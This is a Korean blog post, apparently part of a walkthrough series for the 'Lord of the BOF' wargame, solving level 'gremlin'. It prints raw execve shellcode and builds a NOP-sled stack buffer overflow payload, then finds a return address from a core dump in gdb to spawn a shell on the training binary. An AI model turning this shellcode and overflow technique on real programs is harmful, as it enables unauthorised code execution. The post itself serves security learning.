본문 바로가기
Wargame/The Lord of the BOF

LOB - 01 gremlin - (3)마무리

by morae23 2019. 2. 1.

# core 파일 생성

ulimit -c unlimited # 쉘코드

\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

'LOB - 01 gremlin - (1)스택 구조 파악' 글에 이어 작성하려고 한다.

먼저 실행 파일이 gate가 아닌 gremlin의 권한으로 되어 있기 때문에

분석을 위해 tmp 디렉토리를 만들고 실행파일을 복사한다.


'LOB - 01 gremlin - (1)스택 구조 파악' 에서는 A로 260개를 채웠지만,

이번에는 뒤쪽에 쉘코드를 넣은 뒤, 앞을 \x90으로 채우고 eip 자리를 A로 덮었다.


위에 있는 쉘코드를 이용하였고, 쉘코드가 36바이트이기 때문에 \x90을 224개만큼 채운다.



mkdir tmp cp gremlin ./tmp/aaaaaaa cd tmp ./aaaaaaa `python -c 'print "\x90"*224 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "AAAA"'`


이제 core 파일을 이용하여 eip에 넣을 주소만 알아내면 된다.

core 파일이 생성되지 않는다면 위에 있는 ulimit을 이용하면 된다.


gdb로 core 파일을 연 뒤,

스택을 보면 아래와 같은 결과를 볼 수 있다.




0x90이 이어지는 곳을 찾을 수 있고, 그 뒤를 보면 입력했던 쉘코드 또한 확인할 수 있다.




따라서 0x90 중간의 주소로 eip를 덮으면 된다.

여기서는 0xbffffd70으로 하였다.


참고로 bash2에서 실행해야한다.

(ps로 현재 bash2로 실행 중인지 확인하고, bash라면 터미널에서 bash2를 입력하면 된다.)


./gremlin `python -c 'print "\x90"*224 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x70\xfd\xff\xbf"'`





'Wargame > The Lord of the BOF' 카테고리의 다른 글

LOB - 03 goblin  (0) 2019.02.01
LOB - 02 cobolt  (0) 2019.02.01
LOB - 01 gremlin - (2.2)쉘코드 수정  (0) 2019.02.01
LOB - 01 gremlin - (2.1)쉘코드 작성  (0) 2019.02.01
LOB - 01 gremlin - (1)스택 구조 파악  (0) 2019.02.01

댓글